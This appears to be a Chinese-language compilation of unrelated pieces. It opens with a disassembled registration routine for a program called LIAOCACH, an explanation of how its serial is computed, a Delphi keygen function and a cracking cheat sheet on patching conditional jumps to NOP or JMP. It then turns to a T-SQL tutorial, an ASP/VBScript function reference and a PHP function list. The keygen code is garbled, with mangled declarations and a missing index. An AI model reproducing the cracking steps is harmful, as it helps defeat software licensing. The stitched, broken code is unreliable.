0040452E |. 3ACB |CMP CL,BL
00404530 |.^75 E0 \JNZ SHORT LIAOCACH.00404512
00404532 |> 33C0 XOR EAX,EAX <--全部通过后来到这里
00404534 |. EB 05 JMP SHORT LIAOCACH.0040453B
00404536 |> 1BC0 SBB EAX,EAX
00404538 |. 83D8 FF SBB EAX,-1
0040453B |> 3BC3 CMP EAX,EBX
0040453D |. 75 0C JNZ SHORT LIAOCACH.0040454B
0040453F |. 8BC7 MOV EAX,EDI
00404541 |. 5F POP EDI
00404542 |. 5E POP ESI
00404543 |. 5D POP EBP
00404544 |. 5B POP EBX
00404545 |. 83C4 54 ADD ESP,54
00404548 |. C2 0400 RETN 4
我的注释写的还算清楚吧 ^_^，我再大概给你讲解一下:
软件的注册码是这样计算出来的，机器码中的各个字符的ASCII码加上1500后除以62的余数在密码表中对应的字符，就是相应的注册码。
比如说我这里的机器码为xn2urkeUMwpNv5xZ，x的ASCII码为78(十进制120) 78+5DC的值为654(即1620)
        接着用1620除以3E(62)得商26余8，好的，我们从“密码表”0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ的开始处向后数8下，就会到了8这个字符，嘿嘿，这就是x对应的注册码。
好的，我给出Delphi的注册机(我仍将其写为函数的形式):
function KeyGen(Name: String):
        String;
var
String[16];
Ptring;
Keytring;
i,N,Z:integer;
begin
P:='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
if Length(Name)<16 then
Result:='机器码必须为16位...'
else
begin
S:=Name;
for i:=1 to 16 do
begin
N:=Ord(S);
N:=N+1500;
Z:= N mod 62;
Z:=Z+1;
Key:=Key+P[Z];
end;
Result:=Key;
end;
end;
http://www.heibei.net/
偶不知道什么时候才能加入群


软件破解常用汇编指令

cmp a,b // 比较a与b
mov a,b // 把b值送给a值，使a=b
ret // 返回主程序
nop // 无作用，英文（no operation）简写，意思“do nothing”（机器码90）
（ultraedit打开编辑exe文件看到90相当汇编语句的nop）
call // 调用子程序，子程序以ret结尾
je或jz // 相等则跳（机器码是74或84）
jne或jnz // 不相等则跳（机器码是75或85）
jmp // 无条件跳（机器码是EB）
jb // 若小于则跳
ja // 若大于则跳
jg // 若大于则跳
jge // 若大于等于则跳
jl // 若小于则跳
pop xxx // xxx出栈
push xxx // xxx压栈

爆破无敌口诀

一条（跳）就死，九筒（90）就胡
（对应上面的2--修改为nop）
一条（跳）就胡，一饼（EB）伺候
（对应上面的1--修改为jmp）
（74） 变（75）
（84） 变 （85）
大家不懂不要紧，一定要先牢记，以后慢慢的理解。


SQL查询语句使用
一、简单查询
简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。它们分别说明所查询列、查询的
表或视图、以及搜索条件等。
例如，下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。
SELECT nickname,email
FROM testtable
WHERE name=张三
(一)选择列表
选择列表(select_list)指出所查询列，它可以是一组列名列表、星号、表达式、变量(包括局部变
量和全局变量)等构成。
1、选择所有列
例如，下面语句显示testtable表中所有列的数据：
SELECT *
FROM testtable
2、选择部分列并指定它们的显示次序
查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。
例如：
SELECT nickname,email
FROM testtable
3、更改列标题
在选择列表中，可重新指定列标题。定义格式为：
列标题=列名
列名 列标题
如果指定的列标题不是标准的标识符格式时，应使用引号定界符，例如，下列语句使用汉字显示列
标题：
SELECT 昵称=nickname,电子邮件=email
FROM testtable
4、删除重复行
SELECT语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行，默认
为ALL。使用DISTINCT选项时，对于所有重复的数据行在SELECT返回的结果集合中只保留一行。
5、限制返回的行数
使用TOP n [PERCENT]选项限制返回的数据行数，TOP n说明返回n行，而TOP n PERCENT时，说明n是
表示一百分数，指定返回的行数等于总行数的百分之几。
例如：
SELECT TOP 2 *
FROM testtable
SELECT TOP 20 PERCENT *
FROM testtable
(二)FROM子句
FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图，
它们之间用逗号分隔。
在FROM子句同时指定多个表或视图时，如果选择列表中存在同名列，这时应使用对象名限定这些列
所属的表或视图。例如在usertable和citytable表中同时存在cityid列，在查询两个表中的cityid时应
使用下面语句格式加以限定：
SELECT username,citytable.cityid
FROM usertable,citytable
WHERE usertable.cityid=citytable.cityid
在FROM子句中可用以下两种格式为表或视图指定别名：
表名 as 别名
表名 别名
例如上面语句可用表的别名格式表示为：
SELECT username,b.cityid
FROM usertable a,citytable b
WHERE a.cityid=b.cityid
SELECT不仅能从表或视图中检索数据，它还能够从其它查询语句所返回的结果集合中查询数据。
例如：
SELECT a.au_fname+a.au_lname
FROM authors a,titleauthor ta
(SELECT title_id,title
FROM titles
WHERE ytd_sales>10000
) AS t
WHERE a.au_id=ta.au_id
AND ta.title_id=t.title_id
此例中，将SELECT返回的结果集合给予一别名t，然后再从中检索数据。
(三)使用WHERE子句设置查询条件
WHERE子句设置查询条件，过滤掉不需要的数据行。例如下面语句查询年龄大于20的数据：
SELECT *
FROM usertable
WHERE age>20
WHERE子句可包括各种条件运算符：
比较运算符(大小比较)：>、>=、=、<、<=、<>、!>、!<
范围运算符(表达式值是否在指定的范围)：BETWEEN…AND…
NOT BETWEEN…AND…
列表运算符(判断表达式是否为列表中的指定项)：IN (项1,项2……)
NOT IN (项1,项2……)
模式匹配符(判断值是否与指定的字符通配格式相符):LIKE、NOT LIKE
空值判断符(判断表达式是否为空)：IS NULL、NOT IS NULL
逻辑运算符(用于多条件的逻辑连接)：NOT、AND、OR
1、范围运算符例：age BETWEEN 10 AND 30相当于age>=10 AND age<=30
2、列表运算符例：country IN (Germany,China)
3、模式匹配符例：常用于模糊查找，它判断列值是否与指定的字符串格式相匹配。可用于char、
varchar、text、ntext、datetime和smalldatetime等类型查询。
可使用以下通配字符：
百分号%：可匹配任意类型和长度的字符，如果是中文，请使用两个百分号即%%。
下划线_：匹配单个任意字符，它常用来限制表达式的字符长度。
方括号[]：指定一个字符、字符串或范围，要求所匹配对象为它们中的任一个。
[^]：其取值也[] 相同，但它要求所匹配对象为指定字符以外的任一个字符。
例如：
限制以Publishing结尾，使用LIKE %Publishing
限制以A开头：LIKE [A]%
限制以A开头外：LIKE [^A]%
4、空值判断符例WHERE age IS NULL
5、逻辑运算符：优先级为NOT、AND、OR
(四)查询结果排序
使用ORDER BY子句对查询返回的结果按一列或多列排序。ORDER BY子句的语法格式为：
ORDER BY {column_name [ASC|DESC]} [,…n]
其中ASC表示升序，为默认值，DESC为降序。ORDER BY不能按ntext、text和image数据类型进行排
序。
例如：
SELECT *
FROM usertable
ORDER BY age desc,userid ASC
另外，可以根据表达式进行排序。
二、联合查询
UNION运算符可以将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示，即执行联
合查询。UNION的语法格式为：
select_statement
UNION [ALL] selectstatement
[UNION [ALL] selectstatement][…n]
其中selectstatement为待联合的SELECT查询语句。
ALL选项表示将所有行合并到结果集合中。不指定该项时，被联合查询结果集合中的重复行将只保留一
行。
联合查询时，查询结果的列标题为第一个查询语句的列标题。因此，要定义列标题必须在第一个查询语
句中定义。要对联合查询结果排序时，也必须使用第一查询语句中的列名、列标题或者列序号。
在使用UNION 运算符时，应保证每个联合查询语句的选择列表中有相同数量的表达式，并且每个查询选
择表达式应具有相同的数据类型，或是可以自动将它们转换为相同的数据类型。在自动转换时，对于数值类
型，系统将低精度的数据类型转换为高精度的数据类型。
在包括多个查询的UNION语句中，其执行顺序是自左至右，使用括号可以改变这一执行顺序。例如：
查询1 UNION (查询2 UNION 查询3)

三、连接查询
通过连接运算符可以实现多个表查询。连接是关系数据库模型的主要特点，也是它区别于其它类型
数据库管理系统的一个标志。
在关系数据库管理系统中，表建立时各数据之间的关系不必确定，常把一个实体的所有信息存放在
一个表中。当检索数据时，通过连接操作查询出存放在多个表中的不同实体的信息。连接操作给用户带
来很大的灵活性，他们可以在任何时候增加新的数据类型。为不同实体创建新的表，尔后通过连接进行
查询。
连接可以在SELECT 语句的FROM子句或WHERE子句中建立，似是而非在FROM子句中指出连接时有助于
将连接操作与WHERE子句中的搜索条件区分开来。所以，在Transact-SQL中推荐使用这种方法。
SQL-92标准所定义的FROM子句的连接语法格式为：
FROM join_table join_type join_table
[ON (join_condition)]
其中join_table指出参与连接操作的表名，连接可以对同一个表操作，也可以对多表操作，对同一
个表操作的连接又称做自连接。
join_type 指出连接类型，可分为三种：内连接、外连接和交叉连接。内连接(INNER JOIN)使用比
较运算符进行表间某(些)列数据的比较操作，并列出这些表中与连接条件相匹配的数据行。根据所使用
的比较方式不同，内连接又分为等值连接、自然连接和不等连接三种。
外连接分为左外连接(LEFT OUTER JOIN或LEFT JOIN)、右外连接(RIGHT OUTER JOIN或RIGHT JOIN)
和全外连接(FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是，外连接不只列出与连接条件相匹
配的行，而是列出左表(左外连接时)、右表(右外连接时)或两个表(全外连接时)中所有符合搜索条件的
数据行。
交叉连接(CROSS JOIN)没有WHERE 子句，它返回连接表中所有数据行的笛卡尔积，其结果集合中的
数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。
连接操作中的ON (join_condition) 子句指出连接条件，它由被连接表中的列和比较运算符、逻辑
运算符等构成。
无论哪种连接都不能对text、ntext和image数据类型列进行直接连接，但可以对这三种列进行间接
连接。例如：
SELECT p1.pub_id,p2.pub_id,p1.pr_info
FROM pub_info AS p1 INNER JOIN pub_info AS p2
ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)
(一)内连接
内连接查询操作列出与连接条件匹配的数据行，它使用比较运算符比较被连接列的列值。内连接分
三种：
1、等值连接：在连接条件中使用等于号(=)运算符比较被连接列的列值，其查询结果中列出被连接
表中的所有列，包括其中的重复列。
2、不等连接： 在连接条件使用除等于运算符以外的其它比较运算符比较被连接的列的列值。这些
运算符包括>、>=、<=、<、!>、!<和<>。
3、自然连接：在连接条件中使用等于(=)运算符比较被连接列的列值，但它使用选择列表指出查询
结果集合中所包括的列，并删除连接表中的重复列。
例，下面使用等值连接列出authors和publishers表中位于同一城市的作者和出版社：
SELECT *
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city
又如使用自然连接，在选择列表中删除authors 和publishers 表中重复列(city和state)：
SELECT a.*,p.pub_id,p.pub_name,p.country
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city
(二)外连接
内连接时，返回查询结果集合中的仅是符合查询条件( WHERE 搜索条件或 HAVING 条件)和连接条件
的行。而采用外连接时，它返回到查询结果集合中的不仅包含符合连接条件的行，而且还包括左表(左外
连接时)、右表(右外连接时)或两个边接表(全外连接)中的所有数据行。
如下面使用左外连接将论坛内容和作者信息连接起来：
SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b
ON a.username=b.username
下面使用全外连接将city表中的所有作者以及user表中的所有作者，以及他们所在的城市：
SELECT a.*,b.*
FROM city as a FULL OUTER JOIN user as b
ON a.username=b.username
(三)交叉连接
交叉连接不带WHERE 子句，它返回被连接的两个表所有数据行的笛卡尔积，返回到结果集合中的数
据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。
例，titles表中有6类图书，而publishers表中有8家出版社，则下列交叉连接检索到的记录数将等
于6*8=48行。
SELECT type,pub_name
FROM titles CROSS JOIN publishers
ORDER BY type


ASP语法速查表

信息来源：PC核
VBScript 函数
功能说明
例子
Abs （数值） 绝对值。一个数字的绝对值是它的正值。空字符串 (null) 的绝对值，也是空字符串。未初始化的变数，其绝对为 0 例子：ABS(-2000)
结果：2000

Array （以逗点分隔的数组元素） Array 函数传回数组元素的值。 例子：
A=Array(1,2,3)
B=A(2)
结果： 2
说明：变量Ｂ为Ａ数组的第二个元素的值。
Ａsc （字符串） 将字符串的第一字母转换成 ANSI （美国国家标准符号）字码。 例子：Ａsc（＂Internet＂）
结果：73
说明：显示第一字母 I 的 ANSI 字码。

CBool（表达式） 转换成布尔逻辑值变量型态（Ｔrue 或Ｆalse ） 例子：CBool（1+2）
结果：True

CDate （日期表达式） 换成日期变量型态。可先使用 IsDate 函数判断是否可以转换成日 期。 例子： CDate (now( )+2)
结果：2000/5/28 10:30:59

CDbl（表达式） 转换成DOUBLE变量型态。

Chr （ ANSI 字码） 将ASCII 字码转换成字符。 例子： Chr （ 72 ）
结果： H

CInt （表达式） 转换成整数变量型态。 例子： CInt ("3.12")
结果： 3

CLng （表达式） 转换成LONG 变量型态。

CSng （表达式） 转换成SINGLE 变量型态。

CStr （表达式） 转换成字符串变量型态。

Date （ ）top 传回系统的日期。 例子： Date
结果： 2000/5/13

DateAdd （ I , N , D ） 将一个日期加上一段期间后的日期。 I ：设定一个日期（ Date ）所加上的一段期间的单位。譬如 interval="d" 表示 N的单位为日。 I的设定值如下：
yyyy Year 年
q Quarter 季
m Month 月
d Day 日
w Weekday 星期
h Hour 时
n Minute 分
s Second 秒
N ：数值表达式，设定一个日期所加上的一段期间，可为正值或负值，正值表示加（结果为 >date 以后的日期），负值表示减（结果为 >date 以前的日期）。
D ：待加减的日期。 例子： DateAdd （ "m" , 1 , "31-Jan-98")
结果： 28-Feb-98
说明：将日期 31-Jan-98 加上一个月，结果为 28-Feb-98 而非 31-Fe-98 。
例子： DateAdd （ "d" , 20 , "30-Jan-99")
结果： 1999/2/9
说明：将一个日期 30-Jan-99 加上 20 天后的日期。

DateDiff (I , D1 , D2[,FW[,FY]]) 计算两个日期之间的期间。
I ：设定两个日期之间的期间计算之单位。譬如 >I="m" 表示计算的单位为月。 >I 的设定值如：
yyyy > Year 年
q Quarter 季
m Month 月
d Day 日
w Weekday 星期
h Hour 时
m Minute 分
s Second 秒
D1 ,D2：计算期间的两个日期表达式，若 >date1 较早，则两个日期之间的期间结果为正值；若 >date2 较早， 则结果为负值。
FW ：设定每周第一天为星期几， 若未设定表示为星期天。 >FW 的设定值如下：
0 使用 >API 的设定值。
1 星期天
2 星期一
3 星期二
4 星期三
5 星期四
6 星期五
7 星期六
FY ：设定一年的第一周， 若未设定则表示一月一日那一周为一年的第一周。 >FY 的设定值如下：
0 使用 >API 的设定值。
1 一月一日那一周为一年的第一周
2 至少包括四天的第一周为一年的第一周
3 包括七天的第一周为一年的第一周 例子： DateDiff ("d","25-Mar-99 ","30-Jun-99 ")
结果： 97
说明：显示两个日期之间的期间为 97 天。

DatePart (I,D,[,FW[,FY]]) 传回一个日期的之部份。
>I ：设定传回那一部份。譬如 >I="d" 表示传回 部份为日。 >I 的设定值如下：
yyyy Year 年
q Quarter 季
m Month 月
d Day 日
w Weekday 星期
h Hour 时
m Minute 分
s Second 秒
D ：待计算的日期。
>FW ：设定每周第一天为星期几， 若未设定则表示为星期天。 >FW 的设定值如下：
0 使用 >API 的设定值。
1 星期天
2 星期一>3 星期二
4 星期三
5 星期四
6 星期五
7 星期六
FY ：设定一年的第一周， 若未设定则表示一月一日那一周为一年的第一周。 >FY 的设定值如下：
0 使用 >API 的设定值。
1 一月一日那一周为一年的第一周
2 至少包括四天的第一周为一年的第一周
3 包括七天的第一周为一年的第一周 例子： DatePart ("m","25-Mar-99 ")
结果： 3
说明：显示传回一个日期 的月部份。

Dateserial (year,month,day) 转换(year,month,day) 成日期变量型态。 例子： DateSerial (99,10,1)
结果： 1999/10/1

DateValue ( 日期的字符串或表达式 ) 转换成日期变量型态，日期从 January 1,100 到 December 31,9999 。格式为 month,day,and year 或 month/day/year 。譬如： December 30,1999 、 Dec 30,1999 、 12/30/1999 、 12/30/99 例子： DateValue ("January 1,2002 ")
结果： 2002/1/1

Day( 日期的字符串或表达式 ) 传回日期的「日」部份。 例子： Day(" 12/1/1999 ")
结果： 1

Fix( 表达式 )top 转换字符串成整数数字型态。与 Int 函数相同。若为 null 时传回 null 。
Int (number) 与 Fix(number) 的差别在负数。如 Int (-5.6)=-6 ， Fix(-5.6)=-5 。 例子： Fix(5.6)
结果： 5

Hex( 表达式 )top 传回数值的十六进制值。若表达式为 null 时 Hex( 表达式 )=null ，若表达式 =Empty 时 Hex( 表达式 )=0 。 16 进位可以加「 &H 」表示，譬如 16 进位 &H10 表示十进制的 16 。 例子： Hex(30)
结果： 1E

Hour( 时间的字符串或表达式 ) 传回时间的「小时」部份。 例子： Hour("12:30:54 ")
结果： 12

InStr ([start,]string1,string2[,compare]) top 将一 个 字符串由左 而右与另一个比较，传回第一个相同的位置。
start 为从第几个字比较起，若省略 start 则从第一个字比较起， string1 为待寻找的字符串表达式， string2 为 待比较的字符串表达式， compare 为比较的方法， compare=0 表二进制比较法， compare=1 表文字比较法，若省略 compare 则为预设的二进制比较法。 例子： InStr("abc123def123","12")
结果： 4

InstrRev ([start,]string1,string2[,compare]) 将一 个 字符串 由右而左与另一个比较，传回第一个相同的位置。
start 为从第几个字比较起，若省略 start 则从第一个字比较起， string1 为待寻找的字符串表达式， string2 为 待比较的字符串表达式， compare 为比较的方法， compare=0 表二进制比较法， compare=1 表文字比较法，若省略 compare 则为预设的二进制比较法。 例子： InstrRev ("abc123def123","12")
结果： 10

Int ( 表达式 ) 传回一个数值的整数部份。与 Fix 函数相同。 例子： Int (5.6)
结果： 5

IsArray ( 变数 ) 测试变量是 (True) 否 (False) 是一个数组。 例子： IsArray (3)
结果： False
说明：不是一个数组。

IsDate ( 日期或字符串的表达式 ) 是否可以转换成日期。日期从 January 1,100 A.D. 到 December 31,9999 A.D 。 例子： IsDate ("December 31,1999 ")
结果： True
说明：可以转换成日期。

IsEmpty ( 变数 ) 测试变量是 (True) 否 (False) 已经被初始化 例子： IsEmpty (a)
结果： True
IsNull ( 变数 ) 测试变数是 (True) 否 (False) 不是有效的数据。 例子： IsNull ("")
结果： False
说明：是有效的数据。

IsNumeric ( 表达式 ) 是 (True) 否 (False) 是数字。 例子： IsNumeric ("abc123")
结果： False
说明：不是数字。

LCase ( 字符串表达式 ) top 转换字符串成小写。将大写字母的部份转换成小写。字符串其余的部份不变。 例子： LCase ("ABC123")
结果： abc123

Left( 字符串表达式 ,length) 取字符串左边的几个字。 length 为取个字。 Len 函数可得知字符串的长度。 例子： Left("ABC123",3)
结果： ABC
Len( 字符串表达式 变量 ) 取得字符串的长度。 例子： Len("ABC123")
结果： 6

LTrim ( 字符串表达式 ) 除去字符串左边的空白字。 RTrim 除去字符串右边的空白字， Trim 函数除去字符串左右两边的空白字。 例子： LTrim ("456+" abc ")
结果： 456abc123

Mid( 字符串表达式 ,start[,length]) top 取字符串中的几个字。 start 为从第几个 字取起， length 为取几个字， 若略 length 则从 start 取到最右底。由Len 函数可得知字符串的长度。 例子： Mid("abc123",2,3)
结果： c12

Minute( 日期的字符串或表达式 ) 传回时间的「分钟」部份。 例子： Minute("12:30:54")
结果：30

Month(日期的字符串或表达式) 传回日期的「月」部份。 例子：Month("12/1/2001")
结果：12

MonthName(month[,abbreviate]) 传回月的名称。
month ：待传回月名称的数字 1~12 。譬如， 1 代表一月， 7 代表七月。

abbreviate: 是 (True) 否 (False) 为缩写，譬如 March ，缩写为 Mar 。默认值为 False 。中文的月名称无缩写。 例子： MonthName (7)
结果：七月

Now() 传回系统的日期时间。 例子： Now()
结果： 2001/12/30 10:35:59 AM

Oct() 传回数值的八进位值。八进位可以加「 &O 」表示，譬如八进位 &O10 表示十进制的 8 。 例子： Oct(10)
结果： 12

Replace( 字符串表达式,findnreplacewith[,start[,count[,compare]]]) 将一个字符串取代 部份字。寻找待取代的原字符串 (find) ， 若找到则被取代为新字符串 (replacewith) 。

find ：待寻找取代的原字符串。

replacewith ：取代后的字。

start ：从第几个字开始寻找取代， 若未设定则由第一个字开始寻找。

count ：取代的次数。 若未设定则所有寻找到的字符串取代字符 串全部被取代。

compare ：寻找比较的方法， compare=0 表示二进制比较法， compare=1 表文字比较法， compare =2 表根据比较的 数据型态而定，若省略
compare 则为预设的二进制比较法。 例子： Replace("ABCD123ABC","AB","ab")
结果： abCD123abC

Right( 字符串表达式 ,length) 取字符串右边的几个字， length 为取几个字。 Len 函数可得知字符串的长度。 例子： Right("ABC123",3)
结果： 123

Rnd [(number)] 0~1 的 随机随机数值。 number 是任何有效的数值表达式。若 number 小于 0 表示每次得到相同的 随机随机数值。 number 大于 0 或未提供时表示依序得到下一个 随机随机数值。 >number=0 表示得到最近产生的 随机随机数值。为了避免得到相同的随机随机数顺序，可以于 Rnd 函数前加 Randomize 。 例子： Rnd
结果： 0.498498

Round( 数值表达式 [,D]) 四舍五入。
D ：为四舍五入到第几位小数，若省略则四舍五入到整数。 例子： Round(30635,1)
结果： 3.6

RTrim ( 字符串表达式 ) 除去字符串右边的空白字。 LTrim 除去字符串左边的空白字， Trim 函数除去字符串左右两边的空白字。 例子： RTrim ("abc123 ")+"456"
结果： abc123456

Second( 时间的字符串或表达式 )top 传回时间的「秒」部份。 例子：Second("12:30:54")
结果：54

Space( 重复次数 ) 得到重复相同的空白字符串。 例子： A"+Space (5)+"B
结果： A B
说明： A 和 B 中间加入五个空白字。

String( 重复次数，待重复的字 ) 得到重复相同的字符串。 例子： String(5,71)
结果： GGGGG

StrReverse (String(10,71)) 将一个字符串顺序颠倒。 例子： StrReverse ("ABC")
结果： CBA

Time() 传回系统的时间。 例子： Time
结果： 10:35:59 PM

TimeSerial (hour,minute,second) 转换指定的 ( hour,minute,second) 成时间 变量型态。 例子： TimeSerial (10,31,59)
结果： 10:31:59

TimeValue ( 日期的字符串或表达式 ) 转换 成时间变量型态。日期的字符串或表达式从 0:00:00(12:00:00 A.M.) 到 23:59:59(11:59:59 P.M.) 。 例子： TimeValue (" 11:59:59 ")
结果： 11:59:59

Trim( 字符串表达式 ) 除去字符串左右两边的空白字。 例子： Trim(" abc123 ")
结果： abc123

UCase ()top 转换字符串成大写。将小写字母的部份转换成大写，字符串其余部份不变。 例子： UCase ("abc123")
结果： ABC123

VarType ( 变数 ) 传回一个变量类型。与 TypeName 函数相同， VarType 传回变量类型的代码， TypeName 传回变量类型的名称。 例子： VarType ( "I love you!")
结果： 8

Weekday( 日期表达式 ,[FW]) 传回星期几的数字。
FW ：设定一周的第一天是星期几。若 省略则表 1( 星期日 ) 。
Firstdayfweek 设定值为： 1( 星期日 ),2( 星期一 ),3( 星期二 ),4( 星期三 ),5( 星期四 ),6( 星期五 ),7( 星期六 ) 。 例子： Weekday(" 1/1/2000")
结果： 7

WeekDayName (W,A,FW) 传回星期几的名称。
W ：是 (True) 否 (False) 为缩写。譬如 March ，缩写为 Mar 。预设为 False 。中文的星期几名称无缩写。
FW ：设定一周的第一天是星期几。 若省略表 1( 星期日 ) 。设定待传回星期几的名称，为一周中的第几天。
A ： 1( 星期日 ),2( 星期一 ),3( 星期二 ),4( 星期三 ),5( 星期四 ),6( 星期五 ),7( 星期六 ) 。 例子： WeekDayName ("1/1/2000")
结果：星期六
Year() 传回日期的「年」部份。 例子： Year(" 12/1/2000 ")
结果： 2000


PHP语法速查表

信息来源：www.pchoer.com
PHP 函式索引 967 个函式
共有 967 个函式
Abs: 取得绝对值。
Acos: 取得反余弦值。
ada_afetch: 取得资料库的传回列。
ada_autocommit: 开关自动更动功能。
ada_close: 关闭 Adabas D 连结。
ada_commit: 更动 Adabas D 资料库。
ada_connect: 连结至 Adabas D 资料库。
ada_exec: 执行 SQL 指令。
ada_fetchrow: 取得传回一列。
ada_fieldname: 取得栏位名称。
ada_fieldtype: 取得栏位资料形态。
ada_freeresult: 释出传回资料的记忆体。
ada_numfields: 取得栏位数目。
ada_numrows: 取得传回列数目。
ada_result: 取得传回资料。
ada_resultall: 传回 HTML 表格资料。
ada_rollback: 撤消当前交易。
AddSlashes: 字串加入斜线。
apache_lookup_uri: 获得所有的 URI 相关资讯。
apache_note: 获得及设定阿帕契伺服器的请求纪录。
array: 建立一个新的阵列。
array_walk: 让使用者自订函数能处理阵列中的每一个元素。
arsort: 将阵列的值由大到小排序。
Asin: 取得反正弦值。
asort: 将阵列的值由小到大排序。
aspell_check: 检查一个单字。
aspell_check-raw: 检查一个单字，即使拼错也不改变或修正。
aspell_new: 载入一个新的字典。
aspell_suggest: 检查一个单字，并提供拼字建议。
Atan: 取得反正切值。
Atan2: 计算二数的反正切值。
base64_decode: 将 BASE64 编码字串解码。
base64_encode: 将字串以 BASE64 编码。
basename: 传回不含路径的档案字串。
base_convert: 转换数字的进位方式。
bcadd: 将二个高精确度数字相加。
bccomp: 比较二个高精确度数字。
bcdiv: 将二个高精确度数字相除。
bcmod: 取得高精确度数字的余数。
bcmul: 将二个高精确度数字相乘。
bcpow: 求一高精确度数字次方值。
bcscale: 设定程式中所有 BC 函式库的内定小数点位数。
bcsqrt: 求一高精确度数字的平方根。
bcsub: 将二个高精确度数字相减。
bin2hex: 二进位转成十六进位。
BinDec: 二进位转成十进位。
Ceil: 计算大于指定数的最小整数。
chdir: 改变目录。
checkdate: 验证日期的正确性。
checkdnsrr: 检查指定网址的 DNS 记录。
chgrp: 改变档案所属的群组。
chmod: 改变档案的属性。
Chop: 去除连续空白。
chown: 改变档案的拥有者。
Chr: 传回序数值的字元。
chunk_split: 将字串分成小段。
clearstatcache: 清除档案状态快取。
closedir: 关闭目录 handle。
closelog: 关闭系统纪录。
connection_aborted: 若连结中断则传回 true。
connection_status: 取得连线状态。
connection_timeout: 若超过 PHP 程式执行时间则传回 true。
convert_cyr_string: 转换古斯拉夫字串成其它字串。
copy: 复制档案。
Cos: 余弦计算。
count: 计算变数或阵列中的元素个数。
crypt: 将字串用 DES 编码加密。
current: 传回阵列中目前的元素。
date: 将伺服器的时间格式化。
dbase_add_record: 加入资料到 dBase 资料表。
dbase_close: 关闭 dBase 资料表。
dbase_create: 建立 dBase 资料表。
dbase_delete_record: 删除 dBase 资料表的资料。
dbase_get_record: 取得 dBase 资料表的资料。
dbase_numfields: 取得 dBase 资料表的栏位数。
dbase_numrecords: 取得 dBase 资料表的列数。
dbase_open: 开启 dBase 资料表。
dbase_pack: 清理 dBase 资料表。
dba_close: 关闭资料库。
dba_delete: 删除指定资料。
dba_exists: 检查键是否存在。
dba_fetch: 取回指定资料。
dba_firstkey: 取回首笔键值。
dba_insert: 加入资料。
dba_nextkey: 取回下笔键值。
dba_open: 开启资料库连结。
dba_optimize: 最佳化资料库。
dba_popen: 开启并保持资料库连结。
dba_replace: 更动或加入资料。
dba_sync: 资料库同步化。
dblist: 取得 DBM 的资讯。
dbmclose: 关闭 DBM 资料库。
dbmdelete: 删除指定资料。
dbmexists: 检查键是否存在。
dbmfetch: 取回指定资料。
dbmfirstkey: 取回首笔键名。
dbminsert: 加入资料。
dbmnextkey: 取回下笔键值。
dbmopen: 开启 DBM 资料库连结。
dbmreplace: 更动或加入资料。
debugger_off: 关闭内建的 PHP 除错器。
debugger_on: 使用内建的 PHP 除错器。
DecBin: 十进位转二进位。
DecHex: 十进位转十六进位。
DecOct: 十进位转八进位。
delete: 无用的项目。
die: 输出讯息并中断 PHP 程式。
dir: 目录类别物件。
dirname: 取得路径中的目录名。
diskfreespace: 取得目录所在的剩余可用空间。
dl: 载入 PHP 扩充模组。
doubleval: 变数转成倍浮点数型态。
each: 传回阵列中下一个元素的索引及值。
easter_date: 计算复活节日期。
easter_days: 计算复活节与三月廿一日之间日期数。
echo: 输出字串。
empty: 判断变数是否已设定。
end: 将阵列的内部指标指到最后的元素。
ereg: 字串比对剖析。
eregi: 字串比对剖析，与大小写无关。
eregi_replace: 字串比对剖析并取代，与大小写无关。
ereg_replace: 字串比对剖析并取代。
error_log: 送出一个错误讯息。
error_reporting: 设定错误讯息回报的等级。
escapeshellcmd: 除去字串中的特殊符号。
eval: 将值代入字串之中。
exec: 执行外部程式。
exit: 结束 PHP 程式。
Exp: 自然对数 e 的次方值。
explode: 切开字串。
extract: 汇入阵列到符号表。
fclose: 关闭已开启的档案。
FDF_close: 关闭 FDF 文件。
FDF_create: 建立新的 FDF 文件。
FDF_get_file: 取得 /F 键的值。
FDF_get_status: 取得 /STATUS 键的值。
FDF_get_value: 取得栏位的值。
FDF_next_field_name: 下一栏位的名称。
FDF_open: 打开 FDF 文件。
FDF_save: 将 FDF 文件存档。
FDF_set_ap: 设定显示栏位。
FDF_set_file: 设定 /F 键。
FDF_set_status: 设定 /STATUS 键。
FDF_set_value: 设定栏位的值。
feof: 测试档案指标是否指到档尾。
fgetc: 取得档案指标所指的字元。
fgetcsv: 取得档案指标所指行，并剖析 CSV 栏位。
fgets: 取得档案指标所指的行。
fgetss: 取得档案指标所指的行，并去掉 HTML 语言标记。
file: 将档案全部读入阵列变数中。
fileatime: 取得档案最后的存取时间。
filectime: 取得档案最后的改变时间。
filegroup: 取得档案所属的群组。
fileinode: 取得档案的 inode 值。
filemtime: 取得档案最后的修改时间。
fileowner: 取得档案的拥有者。
fileperms: 取得档案的权限设定。
filepro: 读取 FilePro Map 档。
filepro_fieldcount: 取得栏位数目。
filepro_fieldname: 取得栏位名称。
filepro_fieldtype: 取得栏位型态。
filepro_fieldwidth: 取得栏位宽度。
filepro_retrieve: 取得指定储存格资料。
filepro_rowcount: 取得列数目。
filesize: 获得档案的大小。
filetype: 获得档案的型态。
file_exists: 检查档案是否存在。
flock: 锁住档案。
Floor: 计算小于指定数的最大整数。
flush: 清出输出缓冲区。
fopen: 开启档案或者 URL。
fpassthru: 输出所有剩余资料。
fputs: 写到档案指标。
fread: 位元组的方式读取档案。
FrenchToJD: 将法国共和历法转换成为凯撒日计数。
fseek: 移动档案指标。
fsockopen: 打开网路的 Socket 连结。
ftell: 取得档案读写指标位置。
ftp_cdup: 回上层目录。
ftp_chdir: 改变路径。
ftp_connect: 开启 FTP 连结。
ftp_delete: 将档案删除。
ftp_fget: 下载档案，并存在已开的档中。
ftp_fput: 上传已开启档案。
ftp_get: 下载档案。
